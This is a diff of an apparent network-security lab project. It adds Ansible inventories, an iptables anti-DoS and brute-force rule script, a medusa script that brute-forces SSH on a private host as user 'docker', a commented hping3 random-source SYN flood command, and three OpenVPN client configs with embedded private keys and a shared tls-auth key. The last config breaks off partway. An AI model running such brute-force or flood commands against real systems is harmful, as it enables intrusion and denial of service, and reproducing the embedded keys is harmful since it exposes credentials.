@ -0,0 +1,5 @@
+[service]
+10.80.0.3
+10.80.0.4
+10.80.0.5
+10.80.0.6
--- a/project/inventory_w.yml
+++ b/project/inventory_w.yml
@ -0,0 +1,5 @@
+[service]
+172.21.0.3
+172.21.0.4
+172.21.0.5
+172.21.0.6
--- a/project/iptables_rules.sh
+++ b/project/iptables_rules.sh
@ -0,0 +1,54 @@
+#!/bin/sh
+
+### 1: Drop invalid packets 
+#iptables -t mangle -A PREROUTING -m conntrack --ctstate INVALID -j DROP  
+
+### 2: Drop TCP packets that are new and are not SYN ### 
+#iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP 
+ 
+### 3: Drop SYN packets with suspicious MSS value ### 
+#iptables -t mangle -A PREROUTING -p tcp -m conntrack --ctstate NEW -m tcpmss ! --mss 536:65535 -j DROP  
+
+### 4: Block packets with bogus TCP flags ### 
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN FIN,SYN -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,RST FIN,RST -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,ACK FIN -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,URG URG -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,PSH PSH -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL NONE -j DROP
+
+### 5: Block spoofed packets ### 
+#iptables -t mangle -A PREROUTING -s 224.0.0.0/3 -j DROP 
+#iptables -t mangle -A PREROUTING -s 169.254.0.0/16 -j DROP 
+#iptables -t mangle -A PREROUTING -s 172.16.0.0/12 -j DROP 
+#iptables -t mangle -A PREROUTING -s 192.0.2.0/24 -j DROP 
+#iptables -t mangle -A PREROUTING -s 192.168.0.0/16 -j DROP 
+#iptables -t mangle -A PREROUTING -s 10.0.0.0/8 -j DROP 
+#iptables -t mangle -A PREROUTING -s 0.0.0.0/8 -j DROP 
+#iptables -t mangle -A PREROUTING -s 240.0.0.0/5 -j DROP 
+#iptables -t mangle -A PREROUTING -s 127.0.0.0/8 ! -i lo -j DROP   
+
+### 7: Drop fragments in all chains ### 
+#iptables -t mangle -A PREROUTING -f -j DROP  
+
+### 8: Limit connections per source IP ### 
+iptables -A INPUT -p tcp -m connlimit --connlimit-above 111 -j REJECT --reject-with tcp-reset  
+
+### 9: Limit RST packets ### 
+iptables -A INPUT -p tcp --tcp-flags RST RST -m limit --limit 2/s --limit-burst 2 -j ACCEPT 
+iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP  
+
+
+### 10: Limit new TCP connections per second per source IP ### 
+iptables -A INPUT -p tcp -m conntrack --ctstate NEW -m limit --limit 60/s --limit-burst 20 -j ACCEPT 
+iptables -A INPUT -p tcp -m conntrack --ctstate NEW -j DROP  
+
+### 11:SYNPROXY
+#iptables -t raw -A PREROUTING -p tcp -m tcp --syn -j CT --notrack 
+#iptables -A INPUT -p tcp -m tcp -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460 
+#iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
+
+### SSH brute-force protection ### 
+#iptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --set#iptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 10 -j DROP 
+
--- a/project/medusa_script.sh
+++ b/project/medusa_script.sh
@ -0,0 +1,10 @@
+#!/bin/sh
+
+
+sudo apt-get update -y  # To get the latest package lists
+sudo apt install medusa -y
+cp  /project/passwd_list.txt .        
+medusa -h 172.21.0.6 -u docker -P ./passwd_list.txt -M ssh -f -v 6
+
+
+
--- a/project/passwd_list.txt
+++ b/project/passwd_list.txt
--- a/project/ping-to-me-vpn.sh
+++ b/project/ping-to-me-vpn.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory_vpn.yml test-ping.yml  -f 4 --ask-pass --ask-become-pass
+
--- a/project/script_update.sh
+++ b/project/script_update.sh
@ -0,0 +1,8 @@
+#!/bin/sh
+
+
+sudo apt-get update -y  # To get the latest package lists
+#sudo apt install hping3 -y
+#hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.25.0.2
+
+
--- a/project/sec_vpn_1.ovpn
+++ b/project/sec_vpn_1.ovpn
@ -0,0 +1,110 @@
+
+client
+nobind
+dev tun
+comp-lzo
+resolv-retry infinite
+keepalive 15 60
+remote-cert-tls server
+remote 192.168.1.5 1194 udp
+float
+
+<key>
+-----BEGIN PRIVATE KEY-----
+MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDeVYe+ZqJVT8yz
+U/weebbn8MIZmfyAuN1BCwsxt1PR9Bnr+BYMRnxP2g+ZHcQhEngjBAuBIgBjLqV+
+B6qceDz3vVmHjzvNZDzx6laQDKxfjbcTX/RlFqDSAtwzgBRENjsUzcdKq42l/Upu
+9wh2CPrVGfB876sYTy76xEP2LYKfmqK1FMOHQRWjjgviY954Beyo2BnUsygxq9rE
+UExmDoiyT9xEiexJbD/GIuuRJMxIJbgBK6/eGJRmyUXO5uKt8vLqOktiox34NVSx
+8ZC5jkUB0LIxp/E2gALU7D+M4UYfFhjDmZosLN2+LIaXwXplwrcwgBeQsRvwsnX7
+J0glL6sPAgMBAAECggEAfTXV2JicW0cxlNx7Y/5Pz5d6+EgMN8HkeLjrePgxsE+0
+OXvhjtAzOhUoK6bjyWxJVA73G6Y2aaTfdnaC0tO0IiD0xq8XkrgcynCah01b1gRN
+Ug/75uIzd5I8yJQc1b1k0HaDAb5Ta2OWA6ADl9W+zTxqfzHKPUp6vqbBT2aZ5Z93
+wwK3lsvqadiR3luvHpPbE9+rbZlckgAaChonm2818ZlMk+bRw8S5HVweDqJ9GQ7V
+N80vddLFpkgHWKcwVerl1F28WknArPuzGE8j2DdMKGrjOSPsD6DmTwCcfMkX86yD
+ijdZ8V3nE34o3B656PRavaLEMze6lOUYdlIvwaYXIQKBgQDu0oOlVIdPu8bCIab0
+SLhGbVBpsGsxvQIPpNtjALi2ZL/7MXcV4M96exMbE1OZR7Px5bvncXmKzfF7DZ0I
+ow9+p7sU8OyrjFPYqyIZO/avXDxUPjSwB9hr/YmrT+wruE9wxOiovJoU51d9jSic
+0PeXkWzTa9ExviAuFg7zu+AvWwKBgQDuU2o6ytpkdDOFoh/z9oRgyh5Yrob7yYB0
+IMl+SlkO3Sx0eTvOCh/ixXZyKxQtO+bXLfstXcMqKXbXQ12ZXK9hEMgQrvxtGmt8
+YyEQEB4dpzIDwL0odwGNPgw9v5F+ozp3yJGsfED2YuDvcevO2dypBuKlEfQLg7oO
+qWXclVQVXQKBgERTmjJs8qGPOZhFBH0TaRVNJRp3zNNYHgTXx6SVikM0o/B8AHQT
+84g5OggfCWXrK8JjVdUrk/hwX0wzYuAbts0ns9CT9UJHTZ3JqGHL1BHrs57uhShv
+ti1/RinrHciMXL4It/++pd6hKVjUT/A9oPiONLJwQFOY75//05tL/yHNAoGBAIIT
+AuKtvn6fMVOZRelIPb358pAiSUf5FWPMVUzZVTwYmN/FH0/4FKkXbusm+e8qR3Zg
+ATwkdZV4ZgVdHiPLA2lt2FPKvbjqd4m/LNdwhI9YpqKHunXwZedp2xKEkOtWOV4R
+GPjUJDyVgQEO403VeGrEeETxxInYTl8cM50t32N9AoGAXyodFR2SU2LeH01dmkyo
+8rWOBrxle6tbQwvg5/M15lNKSJSPrMj/HwF8TGm9sky7nTf8MG34XoT4HAep0SQt
+r9gGOZYVaFOAQjaO5MGoTEqQsgRKQd4/qjnw34A1EtW+max9E/6Q+pRAZmMsTQcw
+N64WPlO37tcqFVex8Rf3TL8=
+-----END PRIVATE KEY-----
+</key>
+<cert>
+-----BEGIN CERTIFICATE-----
+MIIDVzCCAj+gAwIBAgIQUkSzUMmqqaSl/9+zl26XQjANBgkqhkiG9w0BAQsFADAW
+MRQwEgYDVQQDDAtFYXN5LVJTQSBDQTAeFw0yMTAxMjMwNDUxNTlaFw0yNDAxMDgw
+NDUxNTlaMBQxEjAQBgNVBAMMCXNlY192cG5fMTCCASIwDQYJKoZIhvcNAQEBBQAD
+ggEPADCCAQoCggEBAN5Vh75molVPzLNT/B55tufwwhmZ/IC43UELCzG3U9H0Gev4
+FgxGfE/aD5kdxCESeCMEC4EiAGMupX4Hqpx4PPe9WYePO81kPPHqVpAMrF+NtxNf
+9GUWoNIC3DOAFEQ2OxTNx0qrjaX9Sm73CHYI+tUZ8HzvqxhPLvrEQ/Ytgp+aorUU
+w4dBFaOOC+Jj3ngF7KjYGdSzKDGr2sRQTGYOiLJP3ESJ7ElsP8Yi65EkzEgluAEr
+r94YlGbJRc7m4q3y8uo6S2KjHfg1VLHxkLmORQHQsjGn8TaAAtTsP4zhRh8WGMOZ
+miws3b4shpfBemXCtzCAF5CxG/CydfsnSCUvqw8CAwEAAaOBojCBnzAJBgNVHRME
+AjAAMB0GA1UdDgQWBBSb9gH1T/P27JBhjN0Cpuho915rizBRBgNVHSMESjBIgBQq
+XIIQau9BBn3TLBYCAYgU3eSBrqEapBgwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0GC
+FFFs/LbCAXkoa6MEwNisGWwg8TH+MBMGA1UdJQQMMAoGCCsGAQUFBwMCMAsGA1Ud
+DwQEAwIHgDANBgkqhkiG9w0BAQsFAAOCAQEAVK++P8GkkGngnKMZElSHhTYxKXsk
+VIsExPbyJ1Cv7u/bOjlpE3stlha4i5C6q2ftIVdjZwl1eWH64Z77tSduVeEakHka
+raoUD7ZhnuYAQ2vv7byFFHyQ/ADvrXX/0wrUGTwBhOXwyjl0voBv67tQ4okcsc9C
+c20gPRwwian/0tj3C8agFtKzQ7RpyGkSZq1D6wQmmPgGUeSqMN2elHQQ5KVtlSll
+ruGkWDWaI9330GYzbxIe3rTv8FhEElR3Tno6KsY4RpvZ4BvUktdFBoo+DGIom04B
+WgGDwNszLVOTg0kkv61MUTZxGkgkOK3sF1Ggq6outeVI6iTl9k91z/3/CA==
+-----END CERTIFICATE-----
+</cert>
+<ca>
+-----BEGIN CERTIFICATE-----
+MIIDSzCCAjOgAwIBAgIUUWz8tsIBeShrowTA2KwZbCDxMf4wDQYJKoZIhvcNAQEL
+BQAwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ0NjM5WhcNMzEw
+MTIxMDQ0NjM5WjAWMRQwEgYDVQQDDAtFYXN5LVJTQSBDQTCCASIwDQYJKoZIhvcN
+AQEBBQADggEPADCCAQoCggEBAMlIgHdUbLlWaB+AFKC1KeIe2u9ZOq3LsY4esghm
+43CgwxtrKRw87QV46RGGQmPoeKdp2Qe8im232nl1odr3r1O6/ohknTP02Q38zGBH
+NyQF4cORiMHiYdS2XG0NUkf1vN0WlmwbYJHdxhGcs0/D0DGf5yY6t+j14o6xvJjX
+4h4SQAfGm1p0AbEuoahY5Or4stFkUMxnUkIpZp8nGRTy+4ZMpYjOGRcaoaHQNDTX
+/nPsS3AXrp5EZfZ9HIbJ68JtmUIPY803tvubDQx3C7CeiPGc/KfW7D/0SbKxh9Nk
+Er25NLm8MBNQJjSs1fRMg6FlIFvR48+s446LtdWGfHedz4kCAwEAAaOBkDCBjTAd
+BgNVHQ4EFgQUKlyCEGrvQQZ90ywWAgGIFN3kga4wUQYDVR0jBEowSIAUKlyCEGrv
+QQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENBghRRbPy2
+wgF5KGujBMDYrBlsIPEx/jAMBgNVHRMEBTADAQH/MAsGA1UdDwQEAwIBBjANBgkq
+hkiG9w0BAQsFAAOCAQEAZTUmbIInXSV12DdxLOmgmiCH9BtDvXswyEfD4xMyspDT
+f3SbXBiSJgfMMMys9QrLYZ06Rg+tNxGoYX7fPjiLcH5UlB3muGMNFyrL6y1mJ1C/
+evvYjWnm6ATT6uigW0IO6mzNie3FDSitSXvZAwv+9mskuoes2I5C7EKYrixfIyN
+hRfI5JYbQgTB9FI6qrrFAinnJcynWAOjoyMabfUrUme/wiKtNCzPqmmwUYh5i7+H
+tfiZQ7Qkshv4VQxkq2dmq4VAPx0cuHrjVQ8ZfHhNZcX2HNsynP2KZJKLXe1pn5pg
+J0D5kG11BAA8e5LNMXl42KNuQyZCh2LClkwz4Sx2Rw==
+-----END CERTIFICATE-----
+</ca>
+key-direction 1
+<tls-auth>
+#
+# 2048 bit OpenVPN static key
+#
+-----BEGIN OpenVPN Static key V1-----
+d4d47aea6be3bda4549f485b7c38d287
+312509957ccf26428848e3095c429eee
+99196bd9edb0da94b5c9209debd8d455
+41bce3ed5f5631031775359d49e49d87
+8af81b53e7f909d1b47a1fbc03e2206b
+98bf518e41a43da80a652e19e39dae39
+7fa5ab1a7aff1b141b1952c1f61296b1
+363fc7a891a21acc354253e9a6a5123f
+8e36e40b486b7ba40542f77749b45bf5
+27b5899c26333e11a18e90a6857f3c36
+49abe06d3afabee6f97cbc65fcc6e74e
+6db46cd53e71ef4412b7328a278e9de2
+d50adaf4c942600aba4c011fa04d1368
+87ffd6f73adc9b7a772efb570e59f798
+e8cdd96c8dbc018535c3e04170dd309d
+1809e77f2f216d6fc95d706ae5400eab
+-----END OpenVPN Static key V1-----
+</tls-auth>
+
--- a/project/sec_vpn_2.ovpn
+++ b/project/sec_vpn_2.ovpn
@ -0,0 +1,110 @@
+
+client
+nobind
+dev tun
+comp-lzo
+resolv-retry infinite
+keepalive 15 60
+remote-cert-tls server
+remote 192.168.1.5 1194 udp
+float
+
+<key>
+-----BEGIN PRIVATE KEY-----
+MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC3HvMHw/05jiJc
+/VY3uoigTUmlkvYKDk3G18CJ/p0zOdOAsYGEUgFBn4OV2QCDkam+uwICgNS6KgjS
+l8SQ3+ULaqmMki1lWIi9o7aRxp7ioJ0UNOdVJo64G/rVloDUNCt+xeHleo7R6hFD
+hqP4d4KIIPRHLFhU+IJ+tLaX5lRUMn2kZ4ezP5ERqSt0LsSZxKO4IswwAeuguvUx
+tJgyu0YFV/Sq1/R/QpvWeEZO0/P+WnDL8xMo9WpRxRnWrVBlxJuhT976/Emdtjml
+hDCgr478xtOyML+N7pbgDpbkJ92sTkO/ILEaY34CbuBtxHCtqFyDJ5QY37d8e9SZ
+5ls2dM7fAgMBAAECggEAEuzC5xmNMQaMbJnN8EJ53j8+jjsK7G0gAp3HiztiGaov
+PoyZuwgSkyqeGb1sfSxvo4OGKKYR1g+EC+eda++Hp09lqF5vDJtCvn6N3rDtOLSq
+pyz0f2tVspdJrAs60zN1D0v6FZI98lnDYPwoNAR92/2z4SsnEdkA+4FHoZkvO+gz
+KycoLfUZH1UMLKTFMmSX3dSxYzp7kPEZP2VBlyH1KA6/JE1G/fiyOdoYixgMcnCB
+hZc0gPgJjRtwoQ8JXDz74uezGqm737tY+IA1DUoW4Ojcie3VAsPoZb300VecKuai
+GT5KXMHgvnSUnSlJouGTebUvcDxlMzPhiO6CoN5gUQKBgQDcp3LQ3yJFnXTMqXmW
+n7veHNcXUGQmo0H496L3c3XGcQt/smjOI/R+I3QQ1fogWBWaxvTSWjAZntMCJXD6
+Tu/idtZnGF3Bxg8InpmAB9mljU0FhLkpdTCbXg+HGjkZ8NEj2/kndSGB8r49Px/6
+NUJudE9VZkdiwaADaW8RAUuftwKBgQDUdFhCXwvUVsER4uZlwlRH4JgzHnClwO8r
+dF7scKunMKtIStqYkfi5jc/YS4J+s2yP8KF+04NDk/PNqqvvdaak1dMVwAp/K1Pc
+LZ1CqgcnuaTDhtflS/+EO7fUqazwxGqanom2NOC2sOHsGkYD8Ehb7GyhhW8KPzie
+eP85mbN6GQKBgA6jnV52L1PnCmS5qbNwjYpC55JIZxyZIDtgUpOQOXQc8+JY99MV
+V5c2yvCDAcE7ltNZ98ws55wLiXxO95vjuM6Ri8/zMeU1OrIbs5tm6e2t3jpLf+1c
+NQlZyDXya29pJrb2VSVlBAAXFsABfCGhfvLNDKZhzsKijfcr+45pQ5cpAoGATXEv
+btoYhMkuzWdJFpS0hhLPR+rzoufmBo//ve4AFAyAkvR+JBkpcfHIbo5vveGHVByh
+sYpGEc8PksuAquPW38T1kbsT2HEhu2OBLHiv7QIVlhREBFgkhr4B72n+GTFvrnbV
+ue4ib1WgtKCLHwpqRd+zZVkvNav/5nwyhHuLWZkCgYBky0RyDSzpm/DSZP3BvB2m
+XtMat68OP6SK0SU0QT4deOM5EkOvhnkKjViRZ8f1PimDZufRz7rfEwfhEjZxrSYj
+Mb7ZXFaDnzBJsxCnjq7f032SnAYD854gcdf+VrVxYfSBazcN8p8Wb0N4p8yOaVI0
+iba/pI9zOZ1usvZsyy+pJQ==
+-----END PRIVATE KEY-----
+</key>
+<cert>
+-----BEGIN CERTIFICATE-----
+MIIDVzCCAj+gAwIBAgIQGtgb8vOBzm9VXxqyeUeSnTANBgkqhkiG9w0BAQsFADAW
+MRQwEgYDVQQDDAtFYXN5LVJTQSBDQTAeFw0yMTAxMjMwNDUyMDZaFw0yNDAxMDgw
+NDUyMDZaMBQxEjAQBgNVBAMMCXNlY192cG5fMjCCASIwDQYJKoZIhvcNAQEBBQAD
+ggEPADCCAQoCggEBALce8wfD/TmOIlz9Vje6iKBNSaWS9goOTcbXwIn+nTM504Cx
+gYRSAUGfg5XZAIORqb67AgKA1LoqCNKXxJDf5QtqqYySLWVYiL2jtpHGnuKgnRQ0
+51Umjrgb+tWWgNQ0K37F4eV6jtHqEUOGo/h3gogg9EcsWFT4gn60tpfmVFQyfaRn
+h7M/kRGpK3QuxJnEo7gizDAB66C69TG0mDK7RgVX9KrX9H9Cm9Z4Rk7T8/5acMvz
+Eyj1alHFGdatUGXEm6FP3vr8SZ22OaWEMKCvjvzG07Iwv43uluAOluQn3axOQ78g
+sRpjfgJu4G3EcK2oXIMnlBjft3x71JnmWzZ0zt8CAwEAAaOBojCBnzAJBgNVHRME
+AjAAMB0GA1UdDgQWBBSO/gU91bILWZYpApQoHgewvPHJ+jBRBgNVHSMESjBIgBQq
+XIIQau9BBn3TLBYCAYgU3eSBrqEapBgwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0GC
+FFFs/LbCAXkoa6MEwNisGWwg8TH+MBMGA1UdJQQMMAoGCCsGAQUFBwMCMAsGA1Ud
+DwQEAwIHgDANBgkqhkiG9w0BAQsFAAOCAQEAG5b3okfbW6ay+cM175cK9lgcruh/
+P1ddn3ENVgPDU0174qfNYvtKNtWuF/I09oIQLfHHvS6THmoYo6XbTuTRBANXLixu
+w0fyEcbYrhZ8S3esaH6CgZv/nhMH+QWnvpkliQ9HfR4FuDn3rX6OZvSjqouNiLJI
+Q0PTsf2h9MDkcC/wV1cEwGbLk9iKM/p0S1Ri4s9qgggeueIWyIcQq3t2y7vomsat
+k1fCKyliFhHkwPhnsjNMTcAc9Us0QxeULq5Bu/fQ77/oS3K6VcU7GAqv5GxP/Usc
+GMKwaBnhsjZNLtVdNG8kVLRHLvPcg5TYPmEfNzzC3I8AI5c6MH2LmY8hYg==
+-----END CERTIFICATE-----
+</cert>
+<ca>
+-----BEGIN CERTIFICATE-----
+MIIDSzCCAjOgAwIBAgIUUWz8tsIBeShrowTA2KwZbCDxMf4wDQYJKoZIhvcNAQEL
+BQAwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ0NjM5WhcNMzEw
+MTIxMDQ0NjM5WjAWMRQwEgYDVQQDDAtFYXN5LVJTQSBDQTCCASIwDQYJKoZIhvcN
+AQEBBQADggEPADCCAQoCggEBAMlIgHdUbLlWaB+AFKC1KeIe2u9ZOq3LsY4esghm
+43CgwxtrKRw87QV46RGGQmPoeKdp2Qe8im232nl1odr3r1O6/ohknTP02Q38zGBH
+NyQF4cORiMHiYdS2XG0NUkf1vN0WlmwbYJHdxhGcs0/D0DGf5yY6t+j14o6xvJjX
+4h4SQAfGm1p0AbEuoahY5Or4stFkUMxnUkIpZp8nGRTy+4ZMpYjOGRcaoaHQNDTX
+/nPsS3AXrp5EZfZ9HIbJ68JtmUIPY803tvubDQx3C7CeiPGc/KfW7D/0SbKxh9Nk
+Er25NLm8MBNQJjSs1fRMg6FlIFvR48+s446LtdWGfHedz4kCAwEAAaOBkDCBjTAd
+BgNVHQ4EFgQUKlyCEGrvQQZ90ywWAgGIFN3kga4wUQYDVR0jBEowSIAUKlyCEGrv
+QQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENBghRRbPy2
+wgF5KGujBMDYrBlsIPEx/jAMBgNVHRMEBTADAQH/MAsGA1UdDwQEAwIBBjANBgkq
+hkiG9w0BAQsFAAOCAQEAZTUmbIInXSV12DdxLOmgmiCH9BtDvXswyEfD4xMyspDT
+f3SbXBiSJgfMMMys9QrLYZ06Rg+tNxGoYX7fPjiLcH5UlB3muGMNFyrL6y1mJ1C/
+evvYjWnm6ATT6uigW0IO6mzNie3FDSitSXvZAwv+9mskuoes2I5C7EKYrixfIyN
+hRfI5JYbQgTB9FI6qrrFAinnJcynWAOjoyMabfUrUme/wiKtNCzPqmmwUYh5i7+H
+tfiZQ7Qkshv4VQxkq2dmq4VAPx0cuHrjVQ8ZfHhNZcX2HNsynP2KZJKLXe1pn5pg
+J0D5kG11BAA8e5LNMXl42KNuQyZCh2LClkwz4Sx2Rw==
+-----END CERTIFICATE-----
+</ca>
+key-direction 1
+<tls-auth>
+#
+# 2048 bit OpenVPN static key
+#
+-----BEGIN OpenVPN Static key V1-----
+d4d47aea6be3bda4549f485b7c38d287
+312509957ccf26428848e3095c429eee
+99196bd9edb0da94b5c9209debd8d455
+41bce3ed5f5631031775359d49e49d87
+8af81b53e7f909d1b47a1fbc03e2206b
+98bf518e41a43da80a652e19e39dae39
+7fa5ab1a7aff1b141b1952c1f61296b1
+363fc7a891a21acc354253e9a6a5123f
+8e36e40b486b7ba40542f77749b45bf5
+27b5899c26333e11a18e90a6857f3c36
+49abe06d3afabee6f97cbc65fcc6e74e
+6db46cd53e71ef4412b7328a278e9de2
+d50adaf4c942600aba4c011fa04d1368
+87ffd6f73adc9b7a772efb570e59f798
+e8cdd96c8dbc018535c3e04170dd309d
+1809e77f2f216d6fc95d706ae5400eab
+-----END OpenVPN Static key V1-----
+</tls-auth>
+
--- a/project/sec_vpn_3.ovpn
+++ b/project/sec_vpn_3.ovpn
@ -0,0 +1,110 @@
+
+client
+nobind
+dev tun
+comp-lzo
+resolv-retry infinite
+keepalive 15 60
+remote-cert-tls server
+remote 192.168.1.5 1194 udp
+float
+
+<key>
+-----BEGIN PRIVATE KEY-----
+MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCyvOI9Tz8JQoLP
+bLhXTTdvxGqQMqc1HDRuOWsskMI7IIaUopR+maakYheorvcvf+f2EUwCvHGYnrwb
+gGSNWIm+Clh1/zwuDsWvMTOBND3UYnIjpqbc5A5Pa++8gG+HsG9bBP2aFn8wMJKZ
+rnfrxDyXiBi+40oEZgbzgmC0TvTwuUDYG+IivA754kDcHrzB+AJPLYAy89Hdr2pi
+PE47LBc2v64wiq3mXwiEHqiHwulMTr21ozq2D78WaZkJkIbe8A8rnn2c+RoYBM4X
+a+fPafW/KxJS1cADjR6QF8tr79zDSYfCeL9h//Or00Pl17vJrWk1r6fT9OdytM5C
+S+C/dEI3AgMBAAECggEBAJNT5hgrLgZv8GsRbpFncH6MJFpfpju81+rTIWhGmhMq
+qEP0DvqbpCRzRpUgQ1e/0m+dqk3HDsuCbAMvPbLUfBVNacU5cV11h7T0lUO20BA0
+ZWjFgV0qDjGhAqcaJtRtthwMbQ2J5aTPJMfQa8DGrDsrT1po9yXRA4HMwfFd88BH
+UXRIHQrwnNsC5FPwxINMFRHFklQGBb+AuS0SdEQp2R3DTU30kb+146HQs2vWmu3C
+5EwRDaePKwQIbm1BYMakSYvt9WB5Gd5Z/WG8F9e+lIhaIgufdsZW1H+ktjM21hRt
+8Y93wE8BHiXXcJh9u1CeaqysnUTp7r4cgh5ISL7uOWECgYEA5lfLEqO+VRegnXhf
+70dG6NavmwIgxbcs2951CSPT3fRQc/Llft+jjuoa4aciVKZ1xTWcXITVDCwWeaOR
+wvzcEHtuMyxqfe15HAQrCpvAwn9WxOPevtdH2QPz5Lvd0iqdDQLTOHQNqmFjImNo
+VCHwM5WN05cgqAI1+7gx9OU0OhMCgYEAxqWTW8shGU9Pplovs7yeJE3/vjWxxXm3
+ASu1+ckpCUirQ/C2kVSa5JJHdnHghl9NyVLeDDIKXjR7o4hEuNAQnqzkhIcymxHA
+ghR/WrW5ojj0Yi6Qer9v2itTleXczpXZZUinZ57CvUSmH/SYhXFdgRfrCYP5epnI
+9UDmpmuvW80CgYBgyMjSBy1FMc1R/S9KKgfYc8SLfCRrDyFxLRK+CWjPXQWlAo19
+dtiRhzpOUFyzdtILUBBoK4QdPjUfXSQ06uxInKRcKjCAwxRdOj8fkPw4fSrnRdvl
+Ei3lOKz1Eh8NXMxqmCJKGTFYwtzVqTFAEJaOBiv2mQymq28lWmrbPKdqMwKBgCyl
+xmsZSsUviE1xc8tIF5s9VL/hvaUO6E0BEBOmXOzTQnswvTgI9g9tuVYr3jUVcpxP
+Xc0L6jymOyvUUu3fBf1ECtCmun8UDFqwVLeEpMaLWpI+uQZ9xJwapNzKH0jncUdM
+fyPRESANL/F6vlUv175OK+ulmAswSXSmM7Ev/uf5AoGAMw+Nmo7AvM707XCfF2Sh
+HAuPYDZ2nw+Oymx1+Uo2SIXp6WjDvZ60VN5hCKFwU4PM6VNBiypEkjgF99Ix4mBH
+2NleTGuJ4BgDJWMxJUEEDgqii4EisuMidebf1toeMp2anpFSFN0NTpLxDRstXoIs
+TyUSfCwVyaichIb10Pb7fjs=
+-----END PRIVATE KEY-----
+</key>
+<cert>
+-----BEGIN CERTIFICATE-----
+MIIDWDCCAkCgAwIBAgIRAOIdNBnDWhtdfZSO1oMj4YYwDQYJKoZIhvcNAQELBQAw
+FjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ1MjEzWhcNMjQwMTA4
+MDQ1MjEzWjAUMRIwEAYDVQQDDAlzZWNfdnBuXzMwggEiMA0GCSqGSIb3DQEBAQUA
+A4IBDwAwggEKAoIBAQCyvOI9Tz8JQoLPbLhXTTdvxGqQMqc1HDRuOWsskMI7IIaU
+opR+maakYheorvcvf+f2EUwCvHGYnrwbgGSNWIm+Clh1/zwuDsWvMTOBND3UYnIj
+pqbc5A5Pa++8gG+HsG9bBP2aFn8wMJKZrnfrxDyXiBi+40oEZgbzgmC0TvTwuUDY
+G+IivA754kDcHrzB+AJPLYAy89Hdr2piPE47LBc2v64wiq3mXwiEHqiHwulMTr21
+ozq2D78WaZkJkIbe8A8rnn2c+RoYBM4Xa+fPafW/KxJS1cADjR6QF8tr79zDSYfC
+eL9h//Or00Pl17vJrWk1r6fT9OdytM5CS+C/dEI3AgMBAAGjgaIwgZ8wCQYDVR0T
+BAIwADAdBgNVHQ4EFgQUU3rhoIYQLsaMIugbI8eAgikHQwswUQYDVR0jBEowSIAU
+KlyCEGrvQQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENB
+ghRRbPy2wgF5KGujBMDYrBlsIPEx/jATBgNVHSUEDDAKBggrBgEFBQcDAjALBgNV
+HQ8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAI3x+wAZ7wV7mdA4uLIPP6I72FED
+gueB1cCkvFOXmrj0EGEKnQAOHlOQHX4BPkE+ZSUdzXRzt4+rN01OeE6NSG+SANKW
+8rO5hYceP8sgMpgJ69on8uvKq2a/4kIWvs+lCGJCZ6oDBTMkZWoaKpnONjtrRzP9
+hzHhznaKvHMsDkWf+W1IR9MYJ25JjhEsV4WUrVuLRXNTc5/RlEafHipsFNI3cJkW
+pMXFwEpTyMp5pe/AGyM7Ih7u9hBUbyTnUuJUtFU4IS3Sbg8nO4srwKRJsM6GIIy6
+jMGHfTeXDtYMb9xPeLc5jEKuYKY4J0cEYLBjFEN3ysczwl2ow3esjdC6qhs=
+-----END CERTIFICATE-----
+</cert>
+<ca>
+-----BEGIN CERTIFICATE-----
+MIIDSzCCAjOgAwIBAgIUUWz8tsIBeShrowTA2KwZbCDxMf4wDQYJKoZIhvcNAQEL
+BQAwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ0NjM5WhcNMzEw
+MTIxMDQ0NjM5WjAWMRQwEgYDVQQDDAtFYXN5LVJTQSBDQTCCASIwDQYJKoZIhvcN
+AQEBBQADggEPADCCAQoCggEBAMlIgHdUbLlWaB+AFKC1KeIe2u9ZOq3LsY4esghm
+43CgwxtrKRw87QV46RGGQmPoeKdp2Qe8im232nl1odr3r1O6/ohknTP02Q38zGBH
+NyQF4cORiMHiYdS2XG0NUkf1vN0WlmwbYJHdxhGcs0/D0DGf5yY6t+j14o6xvJjX
+4h4SQAfGm1p0AbEuoahY5Or4stFkUMxnUkIpZp8nGRTy+4ZMpYjOGRcaoaHQNDTX
+/nPsS3AXrp5EZfZ9HIbJ68JtmUIPY803tvubDQx3C7CeiPGc/KfW7D/0SbKxh9Nk
+Er25NLm8MBNQJjSs1fRMg6FlIFvR48+s446LtdWGfHedz4kCAwEAAaOBkDCBjTAd
